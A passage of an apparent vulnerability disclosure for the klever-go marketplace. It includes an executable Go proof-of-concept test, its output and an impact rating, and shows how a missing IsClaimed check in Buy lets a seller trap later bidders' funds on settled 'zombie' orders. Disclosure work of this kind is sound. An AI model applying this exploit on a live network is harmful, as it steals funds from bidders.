Details
_, restedOrder, err := marketKApp.GetMarketOrder(orderID)
require.NoError(t, err)
require.Equal(t, bidX, restedOrder.CurrentBid, "bid must REST (record CurrentBid), not settle")
require.Equal(t, attacker, restedOrder.CurrentBidder)
require.False(t, restedOrder.IsClaimed, "resting bid must not settle the order")
require.Equal(t, fundAttacker-bidX, balance(attacker), "A debited X on the resting bid")
// ============================================================
// STEP 2: S(=A) accepts the resting bid EARLY via Claim (seller-accept
// branch). This settles the order but leaves EndTime in the future
// and does NOT delete the order -> zombie order.
// ============================================================
status, err = marketKApp.Claim(attacker, &transaction.ClaimContract{ID: orderID})
require.NoError(t, err, "early seller-accept claim should succeed")
require.Equal(t, transaction.Transaction_Ok, status)
_, settledOrder, err := marketKApp.GetMarketOrder(orderID)
require.NoError(t, err, "order must remain LOADABLE after early claim (not deleted)")
require.True(t, settledOrder.IsClaimed, "order is now claimed/settled")
require.GreaterOrEqual(t, settledOrder.EndTime, blockTime,
"BUG: early-claim settle path leaves EndTime in the future (order looks live)")
require.Equal(t, endTime, settledOrder.EndTime, "EndTime was NOT reset by the settle path")
// A got the NFT proceeds back (owner payout == bid X), so A is whole again post-settle.
require.Equal(t, fundAttacker, balance(attacker), "A recovered X as owner payout on settle")
// ============================================================
// STEP 3: Victim B calls Buy on the ZOMBIE (already-claimed) order with Y>X.
// Buy has NO IsClaimed guard -> this SUCCEEDS (the vulnerability).
// ============================================================
status, err = marketKApp.Buy(victim, &transaction.BuyContract{
ID: orderID,
CurrencyID: klv,
Amount: bidY,
})
require.NoError(t, err, "BUG: Buy accepts a bid on an already-claimed (settled) order")
require.Equal(t, transaction.Transaction_Ok, status,
"BUG: Buy returns Ok on a claimed order (missing IsClaimed guard)")
require.Equal(t, fundVictim-bidY, balance(victim), "B debited Y")
require.Equal(t, fundAttacker+bidX, balance(attacker),
"A received a PHANTOM refund of X (funded by B) on the zombie order")
_, zombieOrder, err := marketKApp.GetMarketOrder(orderID)
require.NoError(t, err)
require.Equal(t, victim, zombieOrder.CurrentBidder, "B is now CurrentBidder on a claimed order")
require.Equal(t, bidY, zombieOrder.CurrentBid)
require.True(t, zombieOrder.IsClaimed, "order is STILL claimed - B is stuck")
// ============================================================
// HARM ASSERTION (a): B cannot Claim -> reverts on IsClaimed (market.go L752).
// ============================================================
status, err = marketKApp.Claim(victim, &transaction.ClaimContract{ID: orderID})
require.Error(t, err, "HARM: B's Claim must revert (order already claimed)")
require.Equal(t, transaction.Transaction_ParameterInvalid, status,
"HARM: Claim rejected via IsClaimed guard - B cannot retrieve NFT or refund")
// ============================================================
// HARM ASSERTION (b): B cannot CancelOrder -> reverts on IsClaimed (market.go L1125).
// ============================================================
status, err = marketKApp.CancelOrder(victim, &transaction.CancelMarketOrderContract{OrderID: orderID})
require.Error(t, err, "HARM: B's CancelOrder must revert (order already claimed)")
require.Equal(t, transaction.Transaction_ParameterInvalid, status,
"HARM: CancelOrder rejected via IsClaimed guard - B cannot recover funds")
// ============================================================
// HARM ASSERTION (c): Net accounting - B is permanently down Y with no NFT
// and no recovery path; A is permanently up X.
// ============================================================
require.Equal(t, fundVictim-bidY, balance(victim),
"HARM: B is down Y (%d) with no NFT and no recoverable path", bidY)
require.Equal(t, fundAttacker+bidX, balance(attacker),
"HARM: A is up X (%d), siphoned from B", bidX)
// Confirm B never received the NFT (it was delivered to A at settle time).
victimFinal, err := accCacher.LoadUser(victim)
require.NoError(t, err)
_, nftErr := victimFinal.SubInternalKDA(collectionID, assetID)
require.Error(t, nftErr, "HARM: B holds no NFT for the funds it lost")
t.Logf("PROVEN: B lost %d KLV (balance %d -> %d), unrecoverable. A gained %d KLV (balance %d -> %d). "+
"Y-X = %d KLV destroyed/stranded.",
bidY, fundVictim, balance(victim), bidX, fundAttacker, balance(attacker), bidY-bidX)
}
Executable Go test: `core/kapp/market/poc_zombie_order_test.go` — `TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy`
Run:
cd klever-go
GOTOOLCHAIN=auto go test ./core/kapp/market/ -run TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy -v
(Local Go 1.23.1 auto-fetches toolchain 1.25.7 per `go.mod`. Full market package suite passes no regressions.)
Output:
PROVEN: B lost 2000000 KLV (balance 10000000 -> 8000000), unrecoverable.
A gained 1000000 KLV (balance 10000000 -> 11000000). Y-X = 1000000 KLV destroyed/stranded.
--- PASS: TestPoC_ZombieOrder_MissingIsClaimedGuardInBuy (0.00s)
PASS
Assertions proven (all using real market functions, harm-level not mechanism-level):
- Resting bid: `Price=0` auction → bid rests (`CurrentBid=X`, `IsClaimed=false`), no auto-settle.
- Early seller-accept `Claim` → `IsClaimed=true`, `EndTime` still in the future, order still loadable (the zombie).
- Victim `Buy` on the claimed order returns `Transaction_Ok` (the vulnerability no `IsClaimed` guard).
- Harm (a): victim's `Claim` reverts `Transaction_ParameterInvalid`.
- Harm (b): victim's `CancelOrder` reverts `Transaction_ParameterInvalid`.
- Harm (c): victim `−Y`, attacker `+X`, victim holds no NFT and has no recovery path.
### Impact
- **Direct, permanent fund loss** for any bidder who bids on an already-settled order. The victim's entire bid `Y` is burned with nothing received and no recovery path (`Claim` and `CancelOrder` both revert on `IsClaimed`).
- **Theft**: the attacker (seller, also acting as prior bidder `A` via Sybil) keeps the NFT *and* harvests `≈X` from each subsequent bidder. Repeatable across many bait orders.
- **Value destruction**: `Y−X` per victim is burned (supply strictly decreases this is theft/fund-loss, not net inflation).
- No privileged role required , anyone can create a marketplace sell order.
- Real-world likelihood is Medium: the victim must bid on a settled order that, on-chain, still reads `EndTime`-in-future; exposure depends on whether clients surface claimed orders as biddable (a naive/custom frontend or a sniping bot is trappable).
Impact High × Likelihood Medium -> **High**.
### Recommendation
Add an `IsClaimed` guard at the top of `Buy`, mirroring `Claim` (`market.go:752`) and `CancelOrder` (`market.go:1125`):